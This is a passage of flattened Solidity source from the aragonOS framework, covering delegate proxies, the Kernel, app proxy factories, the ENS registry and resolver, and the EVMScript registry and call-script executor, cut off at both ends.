FWD_GAS_LIMIT; assembly { let result := delegatecall(sub(gas, fwdGasLimit), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) // revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas. // if the call returned error data, forward it switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } // File: @aragon/os/contracts/common/DepositableDelegateProxy.sol pragma solidity 0.4.24; contract DepositableDelegateProxy is DepositableStorage, DelegateProxy { event ProxyDeposit(address sender, uint256 value); function () external payable { // send / transfer if (gasleft() < FWD_GAS_LIMIT) { require(msg.value > 0 && msg.data.length == 0); require(isDepositable()); emit ProxyDeposit(msg.sender, msg.value); } else { // all calls except for send or transfer address target = implementation(); delegatedFwd(target, msg.data); } } } // File: @aragon/os/contracts/apps/AppProxyBase.sol pragma solidity 0.4.24; contract AppProxyBase is AppStorage, DepositableDelegateProxy, KernelNamespaceConstants { /** * @dev Initialize AppProxy * @param _kernel Reference to organization kernel for the app * @param _appId Identifier for app * @param _initializePayload Payload for call to be made after setup to initialize */ constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public { setKernel(_kernel); setAppId(_appId); // Implicit check that kernel is actually a Kernel // The EVM doesn't actually provide a way for us to make sure, but we can force a revert to // occur if the kernel is set to 0x0 or a non-code address when we try to call a method on // it. address appCode = getAppBase(_appId); // If initialize payload is provided, it will be executed if (_initializePayload.length > 0) { require(isContract(appCode)); // Cannot make delegatecall as a delegateproxy.delegatedFwd as it // returns ending execution context and halts contract deployment require(appCode.delegatecall(_initializePayload)); } } function getAppBase(bytes32 _appId) internal view returns (address) { return kernel().getApp(KERNEL_APP_BASES_NAMESPACE, _appId); } } // File: @aragon/os/contracts/apps/AppProxyUpgradeable.sol pragma solidity 0.4.24; contract AppProxyUpgradeable is AppProxyBase { /** * @dev Initialize AppProxyUpgradeable (makes it an upgradeable Aragon app) * @param _kernel Reference to organization kernel for the app * @param _appId Identifier for app * @param _initializePayload Payload for call to be made after setup to initialize */ constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload) AppProxyBase(_kernel, _appId, _initializePayload) public // solium-disable-line visibility-first { // solium-disable-previous-line no-empty-blocks } /** * @dev ERC897, the address the proxy would delegate calls to */ function implementation() public view returns (address) { return getAppBase(appId()); } /** * @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy */ function proxyType() public pure returns (uint256 proxyTypeId) { return UPGRADEABLE; } } // File: @aragon/os/contracts/apps/AppProxyPinned.sol pragma solidity 0.4.24; contract AppProxyPinned is IsContract, AppProxyBase { using UnstructuredStorage for bytes32; // keccak256("aragonOS.appStorage.pinnedCode") bytes32 internal constant PINNED_CODE_POSITION = 0xdee64df20d65e53d7f51cb6ab6d921a0a6a638a91e942e1d8d02df28e31c038e; /** * @dev Initialize AppProxyPinned (makes it an un-upgradeable Aragon app) * @param _kernel Reference to organization kernel for the app * @param _appId Identifier for app * @param _initializePayload Payload for call to be made after setup to initialize */ constructor(IKernel _kernel, bytes32 _appId, bytes _initializePayload) AppProxyBase(_kernel, _appId, _initializePayload) public // solium-disable-line visibility-first { setPinnedCode(getAppBase(_appId)); require(isContract(pinnedCode())); } /** * @dev ERC897, the address the proxy would delegate calls to */ function implementation() public view returns (address) { return pinnedCode(); } /** * @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy */ function proxyType() public pure returns (uint256 proxyTypeId) { return FORWARDING; } function setPinnedCode(address _pinnedCode) internal { PINNED_CODE_POSITION.setStorageAddress(_pinnedCode); } function pinnedCode() internal view returns (address) { return PINNED_CODE_POSITION.getStorageAddress(); } } // File: @aragon/os/contracts/factory/AppProxyFactory.sol pragma solidity 0.4.24; contract AppProxyFactory { event NewAppProxy(address proxy, bool isUpgradeable, bytes32 appId); /** * @notice Create a new upgradeable app instance on `_kernel` with identifier `_appId` * @param _kernel App's Kernel reference * @param _appId Identifier for app * @return AppProxyUpgradeable */ function newAppProxy(IKernel _kernel, bytes32 _appId) public returns (AppProxyUpgradeable) { return newAppProxy(_kernel, _appId, new bytes(0)); } /** * @notice Create a new upgradeable app instance on `_kernel` with identifier `_appId` and initialization payload `_initializePayload` * @param _kernel App's Kernel reference * @param _appId Identifier for app * @return AppProxyUpgradeable */ function newAppProxy(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public returns (AppProxyUpgradeable) { AppProxyUpgradeable proxy = new AppProxyUpgradeable(_kernel, _appId, _initializePayload); emit NewAppProxy(address(proxy), true, _appId); return proxy; } /** * @notice Create a new pinned app instance on `_kernel` with identifier `_appId` * @param _kernel App's Kernel reference * @param _appId Identifier for app * @return AppProxyPinned */ function newAppProxyPinned(IKernel _kernel, bytes32 _appId) public returns (AppProxyPinned) { return newAppProxyPinned(_kernel, _appId, new bytes(0)); } /** * @notice Create a new pinned app instance on `_kernel` with identifier `_appId` and initialization payload `_initializePayload` * @param _kernel App's Kernel reference * @param _appId Identifier for app * @param _initializePayload Proxy initialization payload * @return AppProxyPinned */ function newAppProxyPinned(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public returns (AppProxyPinned) { AppProxyPinned proxy = new AppProxyPinned(_kernel, _appId, _initializePayload); emit NewAppProxy(address(proxy), false, _appId); return proxy; } } // File: @aragon/os/contracts/kernel/Kernel.sol pragma solidity 0.4.24; // solium-disable-next-line max-len contract Kernel is IKernel, KernelStorage, KernelAppIds, KernelNamespaceConstants, Petrifiable, IsContract, VaultRecoverable, AppProxyFactory, ACLSyntaxSugar { /* Hardcoded constants to save gas bytes32 public constant APP_MANAGER_ROLE = keccak256("APP_MANAGER_ROLE"); */ bytes32 public constant APP_MANAGER_ROLE = 0xb6d92708f3d4817afc106147d969e229ced5c46e65e0a5002a0d391287762bd0; string private constant ERROR_APP_NOT_CONTRACT = "KERNEL_APP_NOT_CONTRACT"; string private constant ERROR_INVALID_APP_CHANGE = "KERNEL_INVALID_APP_CHANGE"; string private constant ERROR_AUTH_FAILED = "KERNEL_AUTH_FAILED"; /** * @dev Constructor that allows the deployer to choose if the base instance should be petrified immediately. * @param _shouldPetrify Immediately petrify this instance so that it can never be initialized */ constructor(bool _shouldPetrify) public { if (_shouldPetrify) { petrify(); } } /** * @dev Initialize can only be called once. It saves the block number in which it was initialized. * @notice Initialize this kernel instance along with its ACL and set `_permissionsCreator` as the entity that can create other permissions * @param _baseAcl Address of base ACL app * @param _permissionsCreator Entity that will be given permission over createPermission */ function initialize(IACL _baseAcl, address _permissionsCreator) public onlyInit { initialized(); // Set ACL base _setApp(KERNEL_APP_BASES_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID, _baseAcl); // Create ACL instance and attach it as the default ACL app IACL acl = IACL(newAppProxy(this, KERNEL_DEFAULT_ACL_APP_ID)); acl.initialize(_permissionsCreator); _setApp(KERNEL_APP_ADDR_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID, acl); recoveryVaultAppId = KERNEL_DEFAULT_VAULT_APP_ID; } /** * @dev Create a new instance of an app linked to this kernel * @notice Create a new upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase` * @param _appId Identifier for app * @param _appBase Address of the app's base implementation * @return AppProxy instance */ function newAppInstance(bytes32 _appId, address _appBase) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId)) returns (ERCProxy appProxy) { return newAppInstance(_appId, _appBase, new bytes(0), false); } /** * @dev Create a new instance of an app linked to this kernel and set its base * implementation if it was not already set * @notice Create a new upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`. `_setDefault ? 'Also sets it as the default app instance.':''` * @param _appId Identifier for app * @param _appBase Address of the app's base implementation * @param _initializePayload Payload for call made by the proxy during its construction to initialize * @param _setDefault Whether the app proxy app is the default one. * Useful when the Kernel needs to know of an instance of a particular app, * like Vault for escape hatch mechanism. * @return AppProxy instance */ function newAppInstance(bytes32 _appId, address _appBase, bytes _initializePayload, bool _setDefault) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId)) returns (ERCProxy appProxy) { _setAppIfNew(KERNEL_APP_BASES_NAMESPACE, _appId, _appBase); appProxy = newAppProxy(this, _appId, _initializePayload); // By calling setApp directly and not the internal functions, we make sure the params are checked // and it will only succeed if sender has permissions to set something to the namespace. if (_setDefault) { setApp(KERNEL_APP_ADDR_NAMESPACE, _appId, appProxy); } } /** * @dev Create a new pinned instance of an app linked to this kernel * @notice Create a new non-upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`. * @param _appId Identifier for app * @param _appBase Address of the app's base implementation * @return AppProxy instance */ function newPinnedAppInstance(bytes32 _appId, address _appBase) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId)) returns (ERCProxy appProxy) { return newPinnedAppInstance(_appId, _appBase, new bytes(0), false); } /** * @dev Create a new pinned instance of an app linked to this kernel and set * its base implementation if it was not already set * @notice Create a new non-upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`. `_setDefault ? 'Also sets it as the default app instance.':''` * @param _appId Identifier for app * @param _appBase Address of the app's base implementation * @param _initializePayload Payload for call made by the proxy during its construction to initialize * @param _setDefault Whether the app proxy app is the default one. * Useful when the Kernel needs to know of an instance of a particular app, * like Vault for escape hatch mechanism. * @return AppProxy instance */ function newPinnedAppInstance(bytes32 _appId, address _appBase, bytes _initializePayload, bool _setDefault) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId)) returns (ERCProxy appProxy) { _setAppIfNew(KERNEL_APP_BASES_NAMESPACE, _appId, _appBase); appProxy = newAppProxyPinned(this, _appId, _initializePayload); // By calling setApp directly and not the internal functions, we make sure the params are checked // and it will only succeed if sender has permissions to set something to the namespace. if (_setDefault) { setApp(KERNEL_APP_ADDR_NAMESPACE, _appId, appProxy); } } /** * @dev Set the resolving address of an app instance or base implementation * @notice Set the resolving address of `_appId` in namespace `_namespace` to `_app` * @param _namespace App namespace to use * @param _appId Identifier for app * @param _app Address of the app instance or base implementation * @return ID of app */ function setApp(bytes32 _namespace, bytes32 _appId, address _app) public auth(APP_MANAGER_ROLE, arr(_namespace, _appId)) { _setApp(_namespace, _appId, _app); } /** * @dev Set the default vault id for the escape hatch mechanism * @param _recoveryVaultAppId Identifier of the recovery vault app */ function setRecoveryVaultAppId(bytes32 _recoveryVaultAppId) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_ADDR_NAMESPACE, _recoveryVaultAppId)) { recoveryVaultAppId = _recoveryVaultAppId; } // External access to default app id and namespace constants to mimic default getters for constants /* solium-disable function-order, mixedcase */ function CORE_NAMESPACE() external pure returns (bytes32) { return KERNEL_CORE_NAMESPACE; } function APP_BASES_NAMESPACE() external pure returns (bytes32) { return KERNEL_APP_BASES_NAMESPACE; } function APP_ADDR_NAMESPACE() external pure returns (bytes32) { return KERNEL_APP_ADDR_NAMESPACE; } function KERNEL_APP_ID() external pure returns (bytes32) { return KERNEL_CORE_APP_ID; } function DEFAULT_ACL_APP_ID() external pure returns (bytes32) { return KERNEL_DEFAULT_ACL_APP_ID; } /* solium-enable function-order, mixedcase */ /** * @dev Get the address of an app instance or base implementation * @param _namespace App namespace to use * @param _appId Identifier for app * @return Address of the app */ function getApp(bytes32 _namespace, bytes32 _appId) public view returns (address) { return apps[_namespace][_appId]; } /** * @dev Get the address of the recovery Vault instance (to recover funds) * @return Address of the Vault */ function getRecoveryVault() public view returns (address) { return apps[KERNEL_APP_ADDR_NAMESPACE][recoveryVaultAppId]; } /** * @dev Get the installed ACL app * @return ACL app */ function acl() public view returns (IACL) { return IACL(getApp(KERNEL_APP_ADDR_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID)); } /** * @dev Function called by apps to check ACL on kernel or to check permission status * @param _who Sender of the original call * @param _where Address of the app * @param _what Identifier for a group of actions in app * @param _how Extra data for ACL auth * @return Boolean indicating whether the ACL allows the role or not. * Always returns false if the kernel hasn't been initialized yet. */ function hasPermission(address _who, address _where, bytes32 _what, bytes _how) public view returns (bool) { IACL defaultAcl = acl(); return address(defaultAcl) != address(0) && // Poor man's initialization check (saves gas) defaultAcl.hasPermission(_who, _where, _what, _how); } function _setApp(bytes32 _namespace, bytes32 _appId, address _app) internal { require(isContract(_app), ERROR_APP_NOT_CONTRACT); apps[_namespace][_appId] = _app; emit SetApp(_namespace, _appId, _app); } function _setAppIfNew(bytes32 _namespace, bytes32 _appId, address _app) internal { address app = getApp(_namespace, _appId); if (app != address(0)) { // The only way to set an app is if it passes the isContract check, so no need to check it again require(app == _app, ERROR_INVALID_APP_CHANGE); } else { _setApp(_namespace, _appId, _app); } } modifier auth(bytes32 _role, uint256[] memory _params) { require( hasPermission(msg.sender, address(this), _role, ConversionHelpers.dangerouslyCastUintArrayToBytes(_params)), ERROR_AUTH_FAILED ); _; } } // File: @aragon/os/contracts/lib/ens/AbstractENS.sol // See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/AbstractENS.sol pragma solidity ^0.4.15; interface AbstractENS { function owner(bytes32 _node) public constant returns (address); function resolver(bytes32 _node) public constant returns (address); function ttl(bytes32 _node) public constant returns (uint64); function setOwner(bytes32 _node, address _owner) public; function setSubnodeOwner(bytes32 _node, bytes32 label, address _owner) public; function setResolver(bytes32 _node, address _resolver) public; function setTTL(bytes32 _node, uint64 _ttl) public; // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed _node, bytes32 indexed _label, address _owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed _node, address _owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed _node, address _resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed _node, uint64 _ttl); } // File: @aragon/os/contracts/lib/ens/ENS.sol // See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/ENS.sol pragma solidity ^0.4.0; /** * The ENS registry contract. */ contract ENS is AbstractENS { struct Record { address owner; address resolver; uint64 ttl; } mapping(bytes32=>Record) records; // Permits modifications only by the owner of the specified node. modifier only_owner(bytes32 node) { if (records[node].owner != msg.sender) throw; _; } /** * Constructs a new ENS registrar. */ function ENS() public { records[0].owner = msg.sender; } /** * Returns the address that owns the specified node. */ function owner(bytes32 node) public constant returns (address) { return records[node].owner; } /** * Returns the address of the resolver for the specified node. */ function resolver(bytes32 node) public constant returns (address) { return records[node].resolver; } /** * Returns the TTL of a node, and any records associated with it. */ function ttl(bytes32 node) public constant returns (uint64) { return records[node].ttl; } /** * Transfers ownership of a node to a new address. May only be called by the current * owner of the node. * @param node The node to transfer ownership of. * @param owner The address of the new owner. */ function setOwner(bytes32 node, address owner) only_owner(node) public { Transfer(node, owner); records[node].owner = owner; } /** * Transfers ownership of a subnode keccak256(node, label) to a new address. May only be * called by the owner of the parent node. * @param node The parent node. * @param label The hash of the label specifying the subnode. * @param owner The address of the new owner. */ function setSubnodeOwner(bytes32 node, bytes32 label, address owner) only_owner(node) public { var subnode = keccak256(node, label); NewOwner(node, label, owner); records[subnode].owner = owner; } /** * Sets the resolver address for the specified node. * @param node The node to update. * @param resolver The address of the resolver. */ function setResolver(bytes32 node, address resolver) only_owner(node) public { NewResolver(node, resolver); records[node].resolver = resolver; } /** * Sets the TTL for the specified node. * @param node The node to update. * @param ttl The TTL in seconds. */ function setTTL(bytes32 node, uint64 ttl) only_owner(node) public { NewTTL(node, ttl); records[node].ttl = ttl; } } // File: @aragon/os/contracts/lib/ens/PublicResolver.sol // See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/PublicResolver.sol pragma solidity ^0.4.0; /** * A simple resolver anyone can use; only allows the owner of a node to set its * address. */ contract PublicResolver { bytes4 constant INTERFACE_META_ID = 0x01ffc9a7; bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de; bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5; bytes4 constant NAME_INTERFACE_ID = 0x691f3431; bytes4 constant ABI_INTERFACE_ID = 0x2203ab56; bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233; bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c; event AddrChanged(bytes32 indexed node, address a); event ContentChanged(bytes32 indexed node, bytes32 hash); event NameChanged(bytes32 indexed node, string name); event ABIChanged(bytes32 indexed node, uint256 indexed contentType); event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y); event TextChanged(bytes32 indexed node, string indexed indexedKey, string key); struct PublicKey { bytes32 x; bytes32 y; } struct Record { address addr; bytes32 content; string name; PublicKey pubkey; mapping(string=>string) text; mapping(uint256=>bytes) abis; } AbstractENS ens; mapping(bytes32=>Record) records; modifier only_owner(bytes32 node) { if (ens.owner(node) != msg.sender) throw; _; } /** * Constructor. * @param ensAddr The ENS registrar contract. */ function PublicResolver(AbstractENS ensAddr) public { ens = ensAddr; } /** * Returns true if the resolver implements the interface specified by the provided hash. * @param interfaceID The ID of the interface to check for. * @return True if the contract implements the requested interface. */ function supportsInterface(bytes4 interfaceID) public pure returns (bool) { return interfaceID == ADDR_INTERFACE_ID || interfaceID == CONTENT_INTERFACE_ID || interfaceID == NAME_INTERFACE_ID || interfaceID == ABI_INTERFACE_ID || interfaceID == PUBKEY_INTERFACE_ID || interfaceID == TEXT_INTERFACE_ID || interfaceID == INTERFACE_META_ID; } /** * Returns the address associated with an ENS node. * @param node The ENS node to query. * @return The associated address. */ function addr(bytes32 node) public constant returns (address ret) { ret = records[node].addr; } /** * Sets the address associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param addr The address to set. */ function setAddr(bytes32 node, address addr) only_owner(node) public { records[node].addr = addr; AddrChanged(node, addr); } /** * Returns the content hash associated with an ENS node. * Note that this resource type is not standardized, and will likely change * in future to a resource type based on multihash. * @param node The ENS node to query. * @return The associated content hash. */ function content(bytes32 node) public constant returns (bytes32 ret) { ret = records[node].content; } /** * Sets the content hash associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * Note that this resource type is not standardized, and will likely change * in future to a resource type based on multihash. * @param node The node to update. * @param hash The content hash to set */ function setContent(bytes32 node, bytes32 hash) only_owner(node) public { records[node].content = hash; ContentChanged(node, hash); } /** * Returns the name associated with an ENS node, for reverse records. * Defined in EIP181. * @param node The ENS node to query. * @return The associated name. */ function name(bytes32 node) public constant returns (string ret) { ret = records[node].name; } /** * Sets the name associated with an ENS node, for reverse records. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param name The name to set. */ function setName(bytes32 node, string name) only_owner(node) public { records[node].name = name; NameChanged(node, name); } /** * Returns the ABI associated with an ENS node. * Defined in EIP205. * @param node The ENS node to query * @param contentTypes A bitwise OR of the ABI formats accepted by the caller. * @return contentType The content type of the return value * @return data The ABI data */ function ABI(bytes32 node, uint256 contentTypes) public constant returns (uint256 contentType, bytes data) { var record = records[node]; for(contentType = 1; contentType <= contentTypes; contentType <<= 1) { if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) { data = record.abis[contentType]; return; } } contentType = 0; } /** * Sets the ABI associated with an ENS node. * Nodes may have one ABI of each content type. To remove an ABI, set it to * the empty string. * @param node The node to update. * @param contentType The content type of the ABI * @param data The ABI data. */ function setABI(bytes32 node, uint256 contentType, bytes data) only_owner(node) public { // Content types must be powers of 2 if (((contentType - 1) & contentType) != 0) throw; records[node].abis[contentType] = data; ABIChanged(node, contentType); } /** * Returns the SECP256k1 public key associated with an ENS node. * Defined in EIP 619. * @param node The ENS node to query * @return x, y the X and Y coordinates of the curve point for the public key. */ function pubkey(bytes32 node) public constant returns (bytes32 x, bytes32 y) { return (records[node].pubkey.x, records[node].pubkey.y); } /** * Sets the SECP256k1 public key associated with an ENS node. * @param node The ENS node to query * @param x the X coordinate of the curve point for the public key. * @param y the Y coordinate of the curve point for the public key. */ function setPubkey(bytes32 node, bytes32 x, bytes32 y) only_owner(node) public { records[node].pubkey = PublicKey(x, y); PubkeyChanged(node, x, y); } /** * Returns the text data associated with an ENS node and key. * @param node The ENS node to query. * @param key The text data key to query. * @return The associated text data. */ function text(bytes32 node, string key) public constant returns (string ret) { ret = records[node].text[key]; } /** * Sets the text data associated with an ENS node and key. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param key The key to set. * @param value The text data value to set. */ function setText(bytes32 node, string key, string value) only_owner(node) public { records[node].text[key] = value; TextChanged(node, key, key); } } // File: @aragon/os/contracts/kernel/KernelProxy.sol pragma solidity 0.4.24; contract KernelProxy is IKernelEvents, KernelStorage, KernelAppIds, KernelNamespaceConstants, IsContract, DepositableDelegateProxy { /** * @dev KernelProxy is a proxy contract to a kernel implementation. The implementation * can update the reference, which effectively upgrades the contract * @param _kernelImpl Address of the contract used as implementation for kernel */ constructor(IKernel _kernelImpl) public { require(isContract(address(_kernelImpl))); apps[KERNEL_CORE_NAMESPACE][KERNEL_CORE_APP_ID] = _kernelImpl; // Note that emitting this event is important for verifying that a KernelProxy instance // was never upgraded to a malicious Kernel logic contract over its lifespan. // This starts the "chain of trust", that can be followed through later SetApp() events // emitted during kernel upgrades. emit SetApp(KERNEL_CORE_NAMESPACE, KERNEL_CORE_APP_ID, _kernelImpl); } /** * @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy */ function proxyType() public pure returns (uint256 proxyTypeId) { return UPGRADEABLE; } /** * @dev ERC897, the address the proxy would delegate calls to */ function implementation() public view returns (address) { return apps[KERNEL_CORE_NAMESPACE][KERNEL_CORE_APP_ID]; } } // File: @aragon/os/contracts/evmscript/ScriptHelpers.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; library ScriptHelpers { function getSpecId(bytes _script) internal pure returns (uint32) { return uint32At(_script, 0); } function uint256At(bytes _data, uint256 _location) internal pure returns (uint256 result) { assembly { result := mload(add(_data, add(0x20, _location))) } } function addressAt(bytes _data, uint256 _location) internal pure returns (address result) { uint256 word = uint256At(_data, _location); assembly { result := div(and(word, 0xffffffffffffffffffffffffffffffffffffffff000000000000000000000000), 0x1000000000000000000000000) } } function uint32At(bytes _data, uint256 _location) internal pure returns (uint32 result) { uint256 word = uint256At(_data, _location); assembly { result := div(and(word, 0xffffffff00000000000000000000000000000000000000000000000000000000), 0x100000000000000000000000000000000000000000000000000000000) } } function locationOf(bytes _data, uint256 _location) internal pure returns (uint256 result) { assembly { result := add(_data, add(0x20, _location)) } } function toBytes(bytes4 _sig) internal pure returns (bytes) { bytes memory payload = new bytes(4); assembly { mstore(add(payload, 0x20), _sig) } return payload; } } // File: @aragon/os/contracts/evmscript/EVMScriptRegistry.sol pragma solidity 0.4.24; /* solium-disable function-order */ // Allow public initialize() to be first contract EVMScriptRegistry is IEVMScriptRegistry, EVMScriptRegistryConstants, AragonApp { using ScriptHelpers for bytes; /* Hardcoded constants to save gas bytes32 public constant REGISTRY_ADD_EXECUTOR_ROLE = keccak256("REGISTRY_ADD_EXECUTOR_ROLE"); bytes32 public constant REGISTRY_MANAGER_ROLE = keccak256("REGISTRY_MANAGER_ROLE"); */ bytes32 public constant REGISTRY_ADD_EXECUTOR_ROLE = 0xc4e90f38eea8c4212a009ca7b8947943ba4d4a58d19b683417f65291d1cd9ed2; // WARN: Manager can censor all votes and the like happening in an org bytes32 public constant REGISTRY_MANAGER_ROLE = 0xf7a450ef335e1892cb42c8ca72e7242359d7711924b75db5717410da3f614aa3; uint256 internal constant SCRIPT_START_LOCATION = 4; string private constant ERROR_INEXISTENT_EXECUTOR = "EVMREG_INEXISTENT_EXECUTOR"; string private constant ERROR_EXECUTOR_ENABLED = "EVMREG_EXECUTOR_ENABLED"; string private constant ERROR_EXECUTOR_DISABLED = "EVMREG_EXECUTOR_DISABLED"; string private constant ERROR_SCRIPT_LENGTH_TOO_SHORT = "EVMREG_SCRIPT_LENGTH_TOO_SHORT"; struct ExecutorEntry { IEVMScriptExecutor executor; bool enabled; } uint256 private executorsNextIndex; mapping (uint256 => ExecutorEntry) public executors; event EnableExecutor(uint256 indexed executorId, address indexed executorAddress); event DisableExecutor(uint256 indexed executorId, address indexed executorAddress); modifier executorExists(uint256 _executorId) { require(_executorId > 0 && _executorId < executorsNextIndex, ERROR_INEXISTENT_EXECUTOR); _; } /** * @notice Initialize the registry */ function initialize() public onlyInit { initialized(); // Create empty record to begin executor IDs at 1 executorsNextIndex = 1; } /** * @notice Add a new script executor with address `_executor` to the registry * @param _executor Address of the IEVMScriptExecutor that will be added to the registry * @return id Identifier of the executor in the registry */ function addScriptExecutor(IEVMScriptExecutor _executor) external auth(REGISTRY_ADD_EXECUTOR_ROLE) returns (uint256 id) { uint256 executorId = executorsNextIndex++; executors[executorId] = ExecutorEntry(_executor, true); emit EnableExecutor(executorId, _executor); return executorId; } /** * @notice Disable script executor with ID `_executorId` * @param _executorId Identifier of the executor in the registry */ function disableScriptExecutor(uint256 _executorId) external authP(REGISTRY_MANAGER_ROLE, arr(_executorId)) { // Note that we don't need to check for an executor's existence in this case, as only // existing executors can be enabled ExecutorEntry storage executorEntry = executors[_executorId]; require(executorEntry.enabled, ERROR_EXECUTOR_DISABLED); executorEntry.enabled = false; emit DisableExecutor(_executorId, executorEntry.executor); } /** * @notice Enable script executor with ID `_executorId` * @param _executorId Identifier of the executor in the registry */ function enableScriptExecutor(uint256 _executorId) external authP(REGISTRY_MANAGER_ROLE, arr(_executorId)) executorExists(_executorId) { ExecutorEntry storage executorEntry = executors[_executorId]; require(!executorEntry.enabled, ERROR_EXECUTOR_ENABLED); executorEntry.enabled = true; emit EnableExecutor(_executorId, executorEntry.executor); } /** * @dev Get the script executor that can execute a particular script based on its first 4 bytes * @param _script EVMScript being inspected */ function getScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) { require(_script.length >= SCRIPT_START_LOCATION, ERROR_SCRIPT_LENGTH_TOO_SHORT); uint256 id = _script.getSpecId(); // Note that we don't need to check for an executor's existence in this case, as only // existing executors can be enabled ExecutorEntry storage entry = executors[id]; return entry.enabled ? entry.executor : IEVMScriptExecutor(0); } } // File: @aragon/os/contracts/evmscript/executors/BaseEVMScriptExecutor.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract BaseEVMScriptExecutor is IEVMScriptExecutor, Autopetrified { uint256 internal constant SCRIPT_START_LOCATION = 4; } // File: @aragon/os/contracts/evmscript/executors/CallsScript.sol pragma solidity 0.4.24; // Inspired by https://github.com/reverendus/tx-manager contract CallsScript is BaseEVMScriptExecutor { using ScriptHelpers for bytes; /* Hardcoded constants to save gas bytes32 internal constant EXECUTOR_TYPE = keccak256("CALLS_SCRIPT"); */ bytes32 internal constant EXECUTOR_TYPE = 0x2dc858a00f3e417be1394b87c07158e989ec681ce8cc68a9093680ac1a870302; string private constant ERROR_BLACKLISTED_CALL = "EVMCALLS_BLACKLISTED_CALL"; string private constant ERROR_INVALID_LENGTH = "EVMCALLS_INVALID_LENGTH"; /* This is manually crafted in assembly string private constant ERROR_CALL_REVERTED = "EVMCALLS_CALL_REVERTED"; */ event LogScriptCall(address indexed sender, address indexed src, address indexed dst); /** * @notice Executes a number of call scripts * @param _script [ specId (uint32) ] many calls with this structure -> * [ to (address: 20 bytes) ] [ calldataLength (uint32: 4 bytes) ] [ calldata (calldataLength bytes) ] * @param _blacklist Addresses the script cannot call to, or will revert. * @return Always returns empty byte array */ function execScript(bytes _script, bytes, address[] _blacklist) external isInitialized returns (bytes) { uint256 location = SCRIPT_START_LOCATION; // first 32 bits are spec id while (location < _script.length) { // Check there's at least address + calldataLength available require(_script.length - location >= 0x18, ERROR_INVALID_LENGTH); address contractAddress = _script.addressAt(location); // Check address being called is not blacklist for (uint256 i = 0; i < _blacklist.length; i++) { require(contractAddress != _blacklist[i], ERROR_BLACKLISTED_CALL); } // logged before execution to ensure event ordering in receipt // if failed entire execution is reverted regardless emit LogScriptCall(msg.sender, address(this), contractAddress); uint256 calldataLength = uint256(_script.uint32At(location + 0x14)); uint256 startOffset = location + 0x14 + 0x04; uint256 calldataStart = _script.locationOf(startOffset); // compute end of script / next location location = startOffset + calldataLength; require(location <= _script.length, ERROR_INVALID_LENGTH); bool success; assembly { success := call( sub(gas, 5000), // forward gas left - 5000 contractAddress, // address 0, // no value calldataStart, // calldata start calldataLength, // calldata length 0, // don't write output 0 // don't write output ) switch success case 0 { let ptr := mload(0x40) switch returndatasize case 0 { // No error data was returned, revert with "EVMCALLS_CALL_REVERTED" // See remix: doing a `revert("EVMCALLS_CALL_REVERTED")` always results in // this memory layout mstore(ptr, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier mstore(add(ptr, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // starting offset mstore(add(ptr, 0x24), 0x0000000000000000000000000000000000000000000000000000000000000016) // reason length mstore(add(ptr, 0x44), 0x45564d43414c4c535f43414c4c5f524556455254454400000000000000000000) // reason revert(ptr, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error) } default { // Forward the full error data returndatacopy(ptr, 0, returndatasize) revert(ptr, returndatasize) } } default { } } } // No need to allocate empty bytes for the return as this can only be called via an delegatecall // (due to the isInitialized modifier) } function executorType() external pure returns (bytes32) { return EXECUTOR_TYPE; } } // File: @aragon/os/contracts/factory/EVMScriptRegistryFactory.sol pragma solidity 0.4.24; contract EVMScriptRegistryFactory is EVMScriptRegistryConstants { EVMScriptRegistry public baseReg; IEVMScriptExecutor public baseCallScript; /** * @notice Create a new EVMScriptRegistryFactory. */ constructor() public { baseReg = new EVMScriptRegistry(); baseCallScript = IEVMScriptExecutor(new CallsScript()); } /** * @notice Install a new pinned instance of EVMScriptRegistry on `_dao`. * @param _dao Kernel * @return Installed EVMScriptRegistry */ function newEVMScriptRegistry(Kernel _dao) public returns (EVMScriptRegistry reg) { bytes memory 